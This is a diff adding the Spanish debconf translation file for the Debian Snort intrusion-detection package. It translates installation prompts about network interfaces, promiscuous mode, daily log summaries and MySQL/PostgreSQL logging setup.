+++ snort-2.8.5.2/debian/po/es.po
@@ -0,0 +1,922 @@
+# snort debconf translation to Spanish
+# Copyright (C) 2004 Software in the Public Interest
+# This file is distributed under the same license as the snort package.
+#
+# Changes:
+# - Initial translation
+# 	Javier Fernandez-Sanguino Peña <jfs@debian.org>, 2004
+# - Updates
+# 	Javier Fernandez-Sanguino Peña <jfs@debian.org>, 2005-2008
+#
+#
+#  Traductores, si no conoce el formato PO, merece la pena leer la 
+#  documentación de gettext, especialmente las secciones dedicadas a este
+#  formato, por ejemplo ejecutando:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+# Equipo de traducción al español, por favor, lean antes de traducir
+# los siguientes documentos:
+#
+# - El proyecto de traducción de Debian al español
+#   http://www.debian.org/intl/spanish/coordinacion
+#   especialmente las notas de traducción en
+#   http://www.debian.org/intl/spanish/notas
+#
+# - La guía de traducción de po's de debconf:
+#   /usr/share/doc/po-debconf/README-trans
+#   o http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort debconf 2.1.0-4.1\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-27 23:44+0200\n"
+"Last-Translator: Javier Fernandez-Sanguino Peña <jfs@debian.org>\n"
+"Language-Team: Debian Spanish <debian-l10n-spanish@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-POFile-SpellExtra: tap MySQL share gz mirroring ifconfig cron ppp conf\n"
+"X-POFile-SpellExtra: mysql spanning port plow parameters TCP pgsql init\n"
+"X-POFile-SpellExtra: PPP usr common revísela DEPCONFIG zcat pppd IPs Snort\n"
+"X-POFile-SpellExtra: CIDR cd dpkg psql sbin PostgreSQL default doc route\n"
+"X-POFile-SpellExtra: createmysql createpostgresql inspeccionarse snort\n"
+"X-POFile-SpellExtra: HOMENET eth\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "arranque"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "marcación telefónica"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Método de arranque de Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort se puede arrancar snort en el arranque del sistema, cuando el sistema "
+"se conecte a Internet con pppd o manualmente cuando lo arranque ejecutándolo "
+"con «/usr/sbin/snort»."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaz/ces donde debería escuchar Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Este valor suele ser «eth0», pero puede no ser correcto para algunos entornos "
+"de red. Si está utilizando una conexión de marcación telefónica mediante PPP "
+"a Internet puede ser más apropiado utilizar «ppp0» (consulte la salida de «/"
+"sbin/ifconfig»)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Generalmente la interfaz que se añade aquí es generalmente la misma que "
+"tiene definida la ruta por omisión. Para determinar qué interfaz se está "
+"utilizando para esto, ejecute «/sbin/route -n» (busque aquellos valores "
+"asociados a «0.0.0.0»)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tampoco es infrecuente ejecutar Snort en una interfaz sin dirección IP que "
+"esté configurada en modo promiscuo. Para estos casos, seleccione la interfaz "
+"en el sistema que está físicamente conectada a la red debería "
+"inspeccionarse, active el modo promiscuo más adelante y asegúrese que el "
+"tráfico de dicha red se está enviado a esa interfaz (bien conectándola a un "
+"puerto de un conmutador en modo «port mirroring/spanning», bien conectado a "
+"un concentrador o a un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Puede configurar múltiples interfaces simplemente añadiendo más de un nombre "
+"de interfaz y separándolos por espacios. Cada interfaz puede tener su propia "
+"configuración."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalo de direcciones para la red local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Tiene que utilizar el formato CIDR, esto es, 192.168.1.0/24 para un bloque "
+"de 256 IPs o  192.168.1.42/32 para sólo una dirección. Debe separar "
+"múltiples direcciones por «,» (comas) y sin espacios."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Tenga en cuenta que si Snort está configurado para utilizar múltiples "
+"interfaces se utilizará esta definición como valor de «HOME_NET» para todos "
+"ellos."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "¿Debería Snort deshabilitar el modo promiscuo en la interfaz?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si deshabilita el modo promiscuo Snort sólo analizará paquetes dirigidos a "
+"la propia interfaz que se está monitorizando. Si lo activa Snort comprobará "
+"todos los paquetes que pasen por el segmento Ethernet incluso aunque sean "
+"parte de una conexión entre otros dos sistemas."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaz inválida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort está intentando utilizar una interfaz que no existe o está "
+"desactivada. Es posible que esté tomando el valor por omisión «eth0» y no "
+"exista en su sistema o que haya especificado una interfaz inválida."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "¿Deberían cambiarse el orden de las pruebas a Pasar|Alertar|Registrar?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"El orden de pruebas por omisión para Snort es Alertar|Pasar|Registrar, si "
+"acepta esta opción el orden se modificará a Pasar|Alertar|Registrar que "
+"puede ser más sencillo para utilizar Snort con algunas herramientas de "
+"filtrado de paquetes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "¿Deberían enviarse resúmenes por correo electrónico?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Puede configurar una tarea en cron que envíe resúmenes diarios de los "
+"registros de Snort a una dirección específica."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Indique si quiere activar esta funcionalidad."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatario de los correos de estadísticas diarias:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Indique la dirección de correo que debería recibir los resúmenes diarios de "
+"los registros de Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opciones adicionales a medida:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Indique las opciones adicionales que Snort debería utilizar."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+"Número mínimo de ocurrencias antes de incluir una alerta en los informes:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduzca el número mínimo de ocurrencias de una alerta que deben "
+"producirse antes de incluir una alerta en las estadísticas diarias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Es necesario reiniciar Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Dado que Snort se ejecuta de forma manual tiene que ejecutar «/etc/init.d/"
+"snort» para que se apliquen los cambios."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Error de configuración"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La configuración actual de Snort es inválida e impedirá que Snort se "
+"ejecute. Por favor, revísela y corríjala."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Puede diagnosticar los errores en el fichero de configuración utilizando «/"
+"usr/sbin/snort -T -c <fichero>»."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fichero de configuración obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema utiliza un fichero de configuración obsoleto («/etc/snort/snort."
+"common.parameters») que ha sido convertido de forma automática al nuevo "
+"formato de fichero de configuración (en «/etc/default/snort»)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Por favor, revise el nuevo fichero de configuración y borre el antiguo. El "
+"guión del init.d no utilizará la nueva configuración hasta que lo borre y no "
+"podrá por tanto aprovecharse de las ventajas introducidas en nuevas "
+"versiones."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"¿Quiere configurar una base de datos a la que snort-mysql enviará los "
+"registros?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"No se ha configurado ninguna base de datos para Snort. Antes de continuar "
+"debe asegurarse de disponer de:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - el nombre del servidor (este servidor debe permitir conexiones\n"
+"   TCP desde este sistema),\n"
+" - el nombre de una base de datos en ese servidor,\n"
+" - un nombre de usuario y contraseña para acceder a la base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Si no cumple con algunos de estos requisitos rechace esta opción y ejecute "
+"Snort con el soporte normal de registro en ficheros."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Puede configurar el volcado de registros en base de datos más adelante "
+"ejecutando «dpkg-reconfigure -plow snort-mysql»."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nombre del servidor de base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Especifique el nombre de equipo de un servidor de base de datos que permite "
+"conexiones de este sistema."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nombre de la base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Especifique el nombre de una base de datos existente al que el usuario de "
+"base de datos tiene acceso."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nombre de usuario para el acceso a la base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Especifique el usuario del servidor de base de datos con acceso de escritura "
+"a la base de datos."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Contraseña para la conexión con la base de datos:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduzca una contraseña para acceder a la base de datos de alertas de "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Es necesario configurar una base de datos para Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort necesita una base de datos correctamente configurada para poder "
+"arrancar. Para poder crear la estructura debe ejecutar las órdenes mostradas "
+"a continuación DESPUÉS de instalar el paquete:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuario> -h <sistema> -p <base_de_datos>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduzca los nombres correctos para el usuario, sistema, y nombre de base "
+"de datos. MySQL le solicitará la contraseña."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Deberá arrancar Snort manualmente después de haber creado la estructura de "
+"la base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "¿Quiere preparar una base de datos para que la utilice snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Podrá reconfigurar más adelante el volcado en base de datos con «dpkg-"
+"reconfigure -plow snort-pgsql»."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <usuario> -h <sistema> -W "
+"<base_de_datos>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduzca los nombres correctos para el usuario, sistema, y nombre de base "
+"de datos. PostgreSQL le solicitará la contraseña."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fichero de configuración obsoleto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"El fichero de configuración de Snort («/etc/snort/snort.conf») utiliza "
+"opciones obsoletas que ya no están disponibles en esta versión de Snort. "
+"Snort no podrá arrancar a menos que tenga un fichero de configuración "
+"correcto. Puede sustituir este fichero de configuración por el que ofrece "
+"este paquete o arreglarlo manualmente eliminando las opciones obsoletas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Se encontraron las siguientes opciones obsoletas en el fichero de "
+"configuración: ${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Está ejecutando Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Su configuración tiene un error"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Su fichero de configuración es obsoleto"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arranque, conexión, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "¿Cuando debería arrancarse Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Si quiere, puede especificar «any» (cualquiera) si no confía en ningún "
+#~ "lado de su red."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una de las interfaces que ha especificado no es válida (puede que no "
+#~ "exista en su sistema o no tenga enlace). Debe introducir una interfaz "
+#~ "válida cuando se le pregunte en qué interfaz (o interfaces) debería "
+#~ "escuchar Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "El paquete ha intentado utilizar la interfaz por omisión («eth0») si no ha "
+#~ "configurado un interfaz aquí, y esta interfaz para que no es válida en su "
+#~ "sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si cambia el orden de prueba de las reglas de snort a Pasar|Alertar|"
+#~ "Registrar,  se aplicar?n el orden Pasar->Alertar->Registrar en lugar del "
+#~ "modo estándar Alertar->Pasar->Registrar. Esto evita que se tengan que "
+#~ "incluir muchos argumentos de línea de comandos con filtrado de paquetes "
+#~ "para filtrar sus propias reglas de alertas."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalación de Snort incluye una tarea del «cron» que se ejecuta "
+#~ "diariamente y realiza un resumen de información de los registros de Snort "
+#~ "que luego envía por correo electrónico a la dirección indicada. Responda "
+#~ "«no» a esta pregunta si desea deshabilitar esta funcionalidad."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Se ejecuta diariamente una tarea del «cron» para resumir la información de "
+#~ "los registros generados por Snort utilizando un programa llamado «snort-"
+#~ "stat». Indique aquí el receptor de dichos mensajes. El valor por defecto "
+#~ "es el administrator del sistema. Si mantiene este valor asegúrese de que "
+#~ "los correos de dicha cuenta son reenviados o leídos por algún usuario."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Si quiere añadir opciones adicionales a Snort, especifíquelas aquí."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie a Snort con:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para que los cambios tengan efecto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Su configuración de Snort no es correcta y no se podrá arrancar éste con "
+#~ "normalidad. Por favor, revise su configuración y arreglela. Las "
+#~ "actualizaciones del paquete Snort fallarán si no lo hace. Para comprobar "
+#~ "el error que se genera ejecute «/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf» (o utilice otro fichero de configuración si utiliza ficheros "
+#~ "distintos para distintas interfaces)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Sólo tiene que hacer ésto la primera vez que instale snort-mysql. Andes "
+#~ "de seguir adelante asegúrese de que (1) el nombre de servidor del equipo "
+#~ "que ejecuta la base de datos mysql permite realizar conexiones tcp desde "
+#~ "éste equipo, (2) hay una base de datos en ese servidor, (3) el nombre de "
+#~ "usuario y contraseña de acceso a la base de datos. Si no tiene _todos_ "
+#~ "estos, escoja «no» y continúe con la configuración habitual de registro, o "
+#~ "arregle esto. Siempre puede configurar la base de datos más adelante "
+#~ "reconfigurando snort-mysql utilizando: «dpkg-reconfigure -plow snort-mysql»"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Asegúrese de que el usuario ha sido creado y tiene permisos de escritura."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort necesita tener una base de datos configurada antes de arrancar"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Sólo tiene que hacer ésto la primera vez que instale snort-pgsql. Andes "
+#~ "de seguir adelante asegúrese de que (1) el nombre de servidor del equipo "
+#~ "que ejecuta la base de datos mysql permite realizar conexiones tcp desde "
+#~ "éste equipo, (2) hay una base de datos en ese servidor, (3) el nombre de "
+#~ "usuario y contraseña de acceso a la base de datos. Si no tiene _todos_ "
+#~ "estos, escoja «no» y continúe con la configuración habitual de registro, o "
+#~ "arregle esto. Siempre puede configurar la base de datos más adelante "
+#~ "reconfigurando snort-pgsql utilizando: «dpkg-reconfigure -plow snort-pgsql»"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort necesita una base de datos correctamente configurada para poder "
+#~ "arrancar.Para poder crear la estructura debe ejecutar las órdenes "
+#~ "mostradas a continuación DESPUÉS de instalar el paquete:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | psql -U <usuario> -h <servidor> -W "
+#~ "<base_de_datos>\n"
+#~ "Rellene correctamente los valores para el usuario, servidor y nombre de "
+#~ "la base de datos. PostgreSQL le solicitará la contraseña."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de la interfaz o interfaces en la que "
+#~ "Snort debe escuchar. Puede obtener los nombres de las interfaces "
+#~ "ejecutando «ip link show». Este valor suele ser «eth0», pero quizás desee "
+#~ "variarlo dependiendo de su entorno. Si está utilizando una conexión "
+#~ "telefónica a Internet basada en PPP puede ser más apropiado utilizar "
+#~ "«ppp0»."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introduzca el intervalo de direcciones que monitorizará Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Debería deshabilitar el modo promíscuo si está configurando Snort en una "
+#~ "interfaz sin direcciones IP."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
